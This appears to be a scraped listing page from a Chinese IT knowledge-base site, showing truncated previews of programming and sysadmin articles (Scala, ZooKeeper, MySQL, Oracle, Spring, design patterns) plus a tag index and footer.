                                    <span class="text-muted">征客丶</span>
<a class="tag" taget="_blank" href="/search/OS/1.htm">OS</a><a class="tag" taget="_blank" href="/search/osx/1.htm">osx</a>
                                    <div>一、Mac Finder 设置排序方式,预览栏 在显示-》查看显示选项中 
二、有时预览显示时,卡死在那,有可能是一些临时文件夹被删除了,如:/private/tmp[有待验证] 
 
-------------------------------------------------------------------- 
若有其他凝问或文中有错误,请及时向我指出, 
我好及时改正,同时也让我们一</div>
                                </li>
                                <li><a href="/article/1648.htm"
                                       title="【Scala五】分析Spark源代码总结的Scala语法三" target="_blank">【Scala五】分析Spark源代码总结的Scala语法三</a>
                                    <span class="text-muted">bit1129</span>
<a class="tag" taget="_blank" href="/search/scala/1.htm">scala</a>
                                    <div>1. If语句作为表达式 
    val properties = if (jobIdToActiveJob.contains(jobId)) {
      jobIdToActiveJob(stage.jobId).properties
    } else {
      // this stage will be assigned to &quot;default&quot; po</div>
                                </li>
                                <li><a href="/article/1775.htm"
                                       title="ZooKeeper 入门" target="_blank">ZooKeeper 入门</a>
                                    <span class="text-muted">BlueSkator</span>
<a class="tag" taget="_blank" href="/search/%E4%B8%AD%E9%97%B4%E4%BB%B6/1.htm">中间件</a><a class="tag" taget="_blank" href="/search/zk/1.htm">zk</a>
                                    <div>ZooKeeper是一个高可用的分布式数据管理与系统协调框架。基于对Paxos算法的实现,使该框架保证了分布式环境中数据的强一致性,也正是基于这样的特性,使得ZooKeeper解决很多分布式问题。网上对ZK的应用场景也有不少介绍,本文将结合作者身边的项目例子,系统地对ZK的应用场景进行一个分门归类的介绍。 
值得注意的是,ZK并非天生就是为这些应用场景设计的,都是后来众多开发者根据其框架的特性,利</div>
                                </li>
                                <li><a href="/article/1902.htm"
                                       title="MySQL取得当前时间的函数是什么 格式化日期的函数是什么" target="_blank">MySQL取得当前时间的函数是什么 格式化日期的函数是什么</a>
                                    <span class="text-muted">BreakingBad</span>
<a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/Date/1.htm">Date</a>
                                    <div>取得当前时间用 now() 就行。
在数据库中格式化时间 用DATE_FORMA T(date, format) .
根据格式串format 格式化日期或日期和时间值date,返回结果串。

  可用DATE_FORMAT( ) 来格式化DATE 或DATETIME 值,以便得到所希望的格式。根据format字符串格式化date值:

  %S, %s 两位数字形式的秒( 00,01,</div>
                                </li>
                                <li><a href="/article/2029.htm"
                                       title="读《研磨设计模式》-代码笔记-组合模式" target="_blank">读《研磨设计模式》-代码笔记-组合模式</a>
                                    <span class="text-muted">bylijinnan</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/1.htm">设计模式</a>
                                    <div>声明: 本文只为方便我个人查阅和理解,详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/ 
 
 



import java.util.ArrayList;
import java.util.List;

abstract class Component {
	
	public abstract void printStruct(Str</div>
                                </li>
                                <li><a href="/article/2156.htm"
                                       title="4_JAVA+Oracle面试题(有答案)" target="_blank">4_JAVA+Oracle面试题(有答案)</a>
                                    <span class="text-muted">chenke</span>
<a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a>
                                    <div>基础测试题 
 卷面上不能出现任何的涂写文字,所有的答案要求写在答题纸上,考卷不得带走。 
选择题 
1、 What will happen when you attempt to compile and run the following code? (3) 
public class Static { 
 static { 
 int x = 5; // 在static内有效 
 } 
 st</div>
                                </li>
                                <li><a href="/article/2283.htm"
                                       title="新一代工作流系统设计目标" target="_blank">新一代工作流系统设计目标</a>
                                    <span class="text-muted">comsci</span>
<a class="tag" taget="_blank" href="/search/%E5%B7%A5%E4%BD%9C/1.htm">工作</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a><a class="tag" taget="_blank" href="/search/%E8%84%9A%E6%9C%AC/1.htm">脚本</a>
                                    <div> 
&nbsp; 用户只需要给工作流系统制定若干个需求,流程系统根据需求,并结合事先输入的组织机构和权限结构,调用若干算法,在流程展示版面上面显示出系统自动生成的流程图,然后由用户根据实际情况对该流程图进行微调,直到满意为止,流程在运行过程中,系统和用户可以根据情况对流程进行实时的调整,包括拓扑结构的调整,权限的调整,内置脚本的调整。。。。。 
 
 在这个设计中,最难的地方是系统根据什么来生成流</div>
                                </li>
                                <li><a href="/article/2410.htm"
                                       title="oracle 行链接与行迁移" target="_blank">oracle 行链接与行迁移</a>
                                    <span class="text-muted">daizj</span>
<a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/%E8%A1%8C%E8%BF%81%E7%A7%BB/1.htm">行迁移</a>
                                    <div>表里的一行对于一个数据块太大的情况有二种(一行在一个数据块里放不下) 
 
第一种情况: 
INSERT的时候,INSERT时候行的大小就超一个块的大小。Oracle把这行的数据存储在一连串的数据块里(Oracle Stores the data for the row in a chain of data blocks),这种情况称为行链接(Row Chain),一般不可避免(除非使用更大的数据</div>
                                </li>
                                <li><a href="/article/2537.htm"
                                       title="[JShop]开源电子商务系统jshop的系统缓存实现" target="_blank">[JShop]开源电子商务系统jshop的系统缓存实现</a>
                                    <span class="text-muted">dinguangx</span>
<a class="tag" taget="_blank" href="/search/jshop/1.htm">jshop</a><a class="tag" taget="_blank" href="/search/%E7%94%B5%E5%AD%90%E5%95%86%E5%8A%A1/1.htm">电子商务</a>
                                    <div>前言 
jeeshop中通过SystemManager管理了大量的缓存数据,来提升系统的性能,但这些缓存数据全部都是存放于内存中的,无法满足特定场景的数据更新(如集群环境)。JShop对jeeshop的缓存机制进行了扩展,提供CacheProvider来辅助SystemManager管理这些缓存数据,通过CacheProvider,可以把缓存存放在内存,ehcache,redis,memcache</div>
                                </li>
                                <li><a href="/article/2664.htm"
                                       title="初三全学年难记忆单词" target="_blank">初三全学年难记忆单词</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/english/1.htm">english</a><a class="tag" taget="_blank" href="/search/word/1.htm">word</a>
                                    <div>several 儿子;若干 
shelf 架子 
knowledge 知识;学问 
librarian 图书管理员 
abroad 到国外,在国外 
surf 冲浪 
wave 浪;波浪 
twice 两次;两倍 
describe 描写;叙述 
especially 特别;尤其 
attract 吸引 
prize 奖品;奖赏 
competition 比赛;竞争 
event 大事;事件 
O</div>
                                </li>
                                <li><a href="/article/2791.htm"
                                       title="sphinx实践" target="_blank">sphinx实践</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/sphinx/1.htm">sphinx</a>
                                    <div>&nbsp; 
安装参考地址:http://briansnelson.com/How_to_install_Sphinx_on_Centos_Server 
&nbsp; 
yum install sphinx 
如果失败的话使用下面的方式安装 
wget http://sphinxsearch.com/files/sphinx-2.2.9-1.rhel6.x86_64.rpm 
yum loca</div>
                                </li>
                                <li><a href="/article/2918.htm"
                                       title="JPA之JPQL(三)" target="_blank">JPA之JPQL(三)</a>
                                    <span class="text-muted">frank1234</span>
<a class="tag" taget="_blank" href="/search/orm/1.htm">orm</a><a class="tag" taget="_blank" href="/search/jpa/1.htm">jpa</a><a class="tag" taget="_blank" href="/search/JPQL/1.htm">JPQL</a>
                                    <div>1 什么是JPQL 
JPQL是Java Persistence Query Language的简称,可以看成是JPA中的HQL, JPQL支持各种复杂查询。 
 
2 检索单个对象 
@Test 
public&nbsp; void querySingleObject1() { 
&nbsp;&nbsp;&nbsp; Query query = em.createQuery(&quot;sele</div>
                                </li>
                                <li><a href="/article/3045.htm"
                                       title="Remove Duplicates from Sorted Array II" target="_blank">Remove Duplicates from Sorted Array II</a>
                                    <span class="text-muted">hcx2013</span>
<a class="tag" taget="_blank" href="/search/remove/1.htm">remove</a>
                                    <div>Follow up for &quot;Remove Duplicates&quot;:What if duplicates are allowed at most&nbsp;twice? 
For example,Given sorted array&nbsp;nums&nbsp;=&nbsp;[1,1,1,2,2,3], 
Your function should return length </div>
                                </li>
                                <li><a href="/article/3172.htm"
                                       title="Spring4新特性——Groovy Bean定义DSL" target="_blank">Spring4新特性——Groovy Bean定义DSL</a>
                                    <span class="text-muted">jinnianshilongnian</span>
<a class="tag" taget="_blank" href="/search/spring+4/1.htm">spring 4</a>
                                    <div>Spring4新特性——泛型限定式依赖注入 
Spring4新特性——核心容器的其他改进 
Spring4新特性——Web开发的增强 
Spring4新特性——集成Bean Validation 1.1(JSR-349)到SpringMVC&nbsp; 
Spring4新特性——Groovy Bean定义DSL 
Spring4新特性——更好的Java泛型操作API&nbsp; 
Spring4新</div>
                                </li>
                                <li><a href="/article/3299.htm"
                                       title="CentOS安装Mysql5.5" target="_blank">CentOS安装Mysql5.5</a>
                                    <span class="text-muted">liuxingguome</span>
<a class="tag" taget="_blank" href="/search/centos/1.htm">centos</a>
                                    <div>CentOS下以RPM方式安装MySQL5.5 
 
首先卸载系统自带Mysql: 
yum remove mysql mysql-server mysql-libs compat-mysql51 
rm -rf /var/lib/mysql 
rm /etc/my.cnf 
查看是否还有mysql软件: 
rpm -qa|grep mysql 
 
 
 
去http://dev.mysql.c</div>
                                </li>
                                <li><a href="/article/3426.htm"
                                       title="第14章 工具函数(下)" target="_blank">第14章 工具函数(下)</a>
                                    <span class="text-muted">onestopweb</span>
<a class="tag" taget="_blank" href="/search/%E5%87%BD%E6%95%B0/1.htm">函数</a>
                                    <div>index.html 
&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/</div>
                                </li>
                                <li><a href="/article/3553.htm"
                                       title="POJ 1050" target="_blank">POJ 1050</a>
                                    <span class="text-muted">SaraWon</span>
<a class="tag" taget="_blank" href="/search/%E4%BA%8C%E7%BB%B4%E6%95%B0%E7%BB%84/1.htm">二维数组</a><a class="tag" taget="_blank" href="/search/%E5%AD%90%E7%9F%A9%E9%98%B5/1.htm">子矩阵</a><a class="tag" taget="_blank" href="/search/%E6%9C%80%E5%A4%A7%E5%92%8C/1.htm">最大和</a>
                                    <div>POJ ACM第1050题的详细描述,请参照 
http://acm.pku.edu.cn/JudgeOnline/problem?id=1050 
 
题目意思: 
给定包含有正负整型的二维数组,找出所有子矩阵的和的最大值。 
如二维数组 
0 -2 -7 0 
9 2 -6 2 
-4 1 -4 1 
-1 8 0 -2 
中和最大的子矩阵是 
9 2 
-4 1 
-1 8 
且最大和是15</div>
                                </li>
                                <li><a href="/article/3680.htm"
                                       title="[5]设计模式——单例模式" target="_blank">[5]设计模式——单例模式</a>
                                    <span class="text-muted">tsface</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E5%8D%95%E4%BE%8B/1.htm">单例</a><a class="tag" taget="_blank" href="/search/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/1.htm">设计模式</a><a class="tag" taget="_blank" href="/search/%E8%99%9A%E6%8B%9F%E6%9C%BA/1.htm">虚拟机</a>
                                    <div>单例模式:保证一个类仅有一个实例,并提供一个访问它的全局访问点 
&nbsp; 
安全的单例模式: 
&nbsp; 
&nbsp; 
/*
 * @(#)Singleton.java  2014-8-1
 *
 * Copyright 2014 XXXX, Inc. All rights reserved.
 */
package com.fiberhome.singleton;

</div>
                                </li>
                                <li><a href="/article/3807.htm"
                                       title="Java8全新打造,英语学习supertool" target="_blank">Java8全新打造,英语学习supertool</a>
                                    <span class="text-muted">yangshangchuan</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/superword/1.htm">superword</a><a class="tag" taget="_blank" href="/search/%E9%97%AD%E5%8C%85/1.htm">闭包</a><a class="tag" taget="_blank" href="/search/java8/1.htm">java8</a><a class="tag" taget="_blank" href="/search/%E5%87%BD%E6%95%B0%E5%BC%8F%E7%BC%96%E7%A8%8B/1.htm">函数式编程</a>
                                    <div>superword是一个Java实现的英文单词分析软件,主要研究英语单词音近形似转化规律、前缀后缀规律、词之间的相似性规律等等。Clean code、Fluent style、Java8 feature: Lambdas, Streams and Functional-style Programming。 
&nbsp; 
升学考试、工作求职、充电提高,都少不了英语的身影,英语对我们来说实在太重要</div>
                                </li>
                </ul>
            </div>
        </div>
    </div>

<div>
    <div class="container">
        <div class="indexes">
            <strong>按字母分类:</strong>
            <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a
                href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a
                href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a
                href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a
                href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a
                href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a
                href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a
                href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a
                href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a>
        </div>
    </div>
</div>
<footer id="footer" class="mb30 mt30">
    <div class="container">
        <div class="footBglm">
            <a target="_blank" href="/">首页</a> -
            <a target="_blank" href="/custom/about.htm">关于我们</a> -
            <a target="_blank" href="/search/Java/1.htm">站内搜索</a> -
            <a target="_blank" href="/sitemap.txt">Sitemap</a> -
            <a target="_blank" href="/custom/delete.htm">侵权投诉</a>
        </div>
        <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved.
<!--            <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>-->
        </div>
    </div>
</footer>
<!-- 代码高亮 -->
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script>
<link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/>
<script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script>





</body>

</html>